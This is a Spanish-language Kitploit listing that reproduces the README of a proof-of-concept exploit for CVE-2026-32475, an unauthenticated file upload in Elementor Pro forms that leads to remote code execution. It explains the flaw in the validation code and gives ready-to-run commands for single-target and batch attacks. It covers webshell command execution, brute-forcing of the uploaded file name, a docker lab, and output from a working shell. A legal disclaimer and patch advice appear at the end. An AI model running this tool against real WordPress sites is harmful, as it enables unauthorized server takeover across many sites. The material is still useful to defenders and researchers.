Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-32475 — Prueba de concepto del exploit para CVE-2026-32475, una subida de archivos arbitraria sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye descubrimiento automatizado, subida y ejecución de comandos con limpieza. | Kitploit
Herramientas/GitHubGitHub/sahmsec/cve-2026-32475
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

Prueba de concepto del exploit para CVE-2026-32475, una subida de archivos arbitraria sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye descubrimiento automatizado, subida y ejecución de comandos con limpieza.

Ver Repositorio
14hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Carga Arbitraria de Archivos sin Autenticación → RCE

PoC para CVE-2026-32475 (CVSS 9.0 Crítico, CWE-434): una carga arbitraria de archivos sin autenticación en el módulo de Formularios de Elementor Pro que conduce a la ejecución remota de código. Corregido en Elementor Pro 4.2.2 (2026-08-19). Reportado por Tin Pham (TF1T) a través del programa Bug Bounty de Patchstack.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Aviso legal

Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.

  • Debe ser propietario del sistema objetivo o contar con permiso explícito por escrito del propietario del sistema antes de ejecutar esta herramienta contra él.
  • El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones (por ejemplo, la Computer Fraud and Abuse Act en EE. UU., la Computer Misuse Act en el Reino Unido y leyes similares en todo el mundo) y puede conllevar sanciones penales y civiles.
  • Los autores y colaboradores no asumen ninguna responsabilidad por el mal uso, daños o consecuencias legales derivados del uso de este código.
  • Al utilizar este software, acepta usarlo de manera responsable y en cumplimiento de todas las leyes aplicables.
  • En qué consiste la vulnerabilidad

    El campo de Carga de Archivos de los formularios de Elementor Pro procesa las entradas subidas en dos bucles separados con semánticas diferentes (modules/forms/fields/upload.php):

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- aborta TODO el método
        }
        // is_file_type_valid() ...    // nunca se alcanza para la entrada #2
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- omite solo ESTA entrada
        }
        $filename = uniqid() . '.' . $file_extension;   // extensión controlada por el atacante
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    Al enviar dos partes de archivo para el mismo campo de carga — una primera parte vacía (filename="" → UPLOAD_ERR_NO_FILE) seguida de la carga útil .php — hace que validation() retorne antes de que la lista de extensiones bloqueadas vea la carga útil, mientras que process_field() aún la mueve a wp-content/uploads/elementor/forms/<uniqid()>.php, un directorio web público. Solicitar esa URL directamente = ejecución remota de código.

    La carga se gestiona mediante POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) sin autenticación y sin nonce. El post_id, form_id y el nombre del campo de carga son visibles en el HTML de la página pública, por lo que todo el ataque no requiere autenticación.

    Requisitos

    Objetivo:

    • Elementor Pro ≤ 4.2.1 (todas las versiones anteriores están afectadas)
    • Al menos una página publicada con un widget de Formulario que contenga un campo de Carga de Archivos
    • El campo de carga no debe estar marcado como Obligatorio (el estado predeterminado)
    • Sin CAPTCHA en el formulario (reCAPTCHA/turnstile bloquea el envío sin autenticación)
    • El directorio de cargas debe ejecutar PHP (predeterminado en la mayoría de los alojamientos Apache/cPanel; bloqueado en algunas configuraciones endurecidas de nginx)

    Atacante:

    • Python 3.9+ (solo biblioteca estándar — sin dependencias)
    • Acceso de red al objetivo

    Uso

    Objetivo único (descubre automáticamente la página del formulario mediante sitemap/página de inicio):

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    Página de formulario explícita:

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    Modo por lotes (sites.txt: un sitio por línea — base_url o base_url page_url):

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    Formato de lista JSON:

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    Ejecutar un comando en una shell ya subida:

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    Opciones clave

    FlagPredeterminadoSignificado
    --url-URL base de un solo objetivo
    --list-archivo de lista para modo por lotes
    --page-url--urlpágina que contiene el formulario
    --commandid; hostname; uname -acomando a ejecutar a través de la shell
    --cleanupdesactivadoautoeliminar la webshell después de las pruebas
    --field k=v-sobrescribir un campo de formulario autocompletado (repetible)
    --tail0.3segundos antes del tiempo estimado de carga para el barrido fino
    --step-fine1paso en microsegundos del barrido fino
    --full-seconddesactivadofuerza bruta del segundo completo de uniqid (anula la desviación del reloj)
    --attempts1intentos de carga+barrido (nombre de archivo aleatorio nuevo cada vez)
    --max-probes600000presupuesto de solicitudes de barrido por intento
    --workers50hilos de barrido en paralelo
    --insecuredesactivadoignorar errores TLS (objetivos con certificados autofirmados)
    --out file.json-escribir el informe como JSON

    Cómo funciona la herramienta

    1. Descubrimiento — obtiene la página objetivo (o rastrea el sitemap y los enlaces de la página de inicio, máx. 20 páginas) para encontrar un formulario con un campo de Carga de Archivos.
    2. Extracción — extrae post_id, form_id, el nombre del campo de carga y todos los demás campos del formulario; autocompleta todos los campos con valores plausibles para que los campos obligatorios pasen la validación (sobrescribir con --field).
    3. Carga — envía el POST multiparte de dos partes a admin-ajax.php. Nota: success:false con un objeto errors vacío aún se trata como cargado, porque la acción de Email predeterminada lanza después del movimiento del archivo cuando wp_mail() falla. Solo el rechazo del propio campo de carga (file type is not allowed) cuenta como bloqueado.
    4. Recuperación del nombre de archivo — uniqid() = 8 hex segundos + 5 hex microsegundos. Los segundos provienen del encabezado Date de la respuesta; la fracción de subsegundo se estima a partir de (t1 - date_epoch) % 1 (preciso cuando los relojes del atacante y del servidor están cercanos). Un sondeo keep-alive (~30x más rápido que una solicitud por conexión) barre la ventana de movimiento con resolución de microsegundos; --full-second fuerza bruta el segundo completo cuando los relojes están desviados.
    5. Ejecución — GET <shell>?c=<command> ejecuta el comando; --cleanup elimina la shell mediante ?x=1.

    Estados de resultado

    EstadoSignificado
    vulnerableshell subida y comando ejecutado — parchear ahora
    blockedcampo de carga rechazado (parcheado 4.2.2+, campo obligatorio, WAF, captcha)
    uploaded_no_execarchivo colocado pero nombre no recuperado (reintentar con --full-second)
    no_formno se encontró ningún formulario vulnerable en el objetivo
    errorerror de conexión/red

    Reproducción en laboratorio

    docker-compose.yml + setup_form_page.php reproducen el objetivo vulnerable:

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # coloque su elementor-pro.zip obtenido legalmente (<= 4.2.1) en el directorio del proyecto, luego:
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    Salida verificada

    root@kitploit:~
    [+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Running command: uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Cleaning up (deleting webshell)...
        rm
    

    Referencias

    • Aviso de Patchstack
    • Entrada NVD
    • Registro de cambios de Elementor Pro (4.2.2)

    Remediación

    Actualice Elementor Pro a 4.2.2+. La actualización cierra la brecha pero no elimina las shells que ya se hayan subido — audite wp-content/uploads/elementor/forms/ en busca de archivos .php sueltos.


    Solo para investigación de seguridad autorizada y uso en laboratorio.

    Descargar herramienta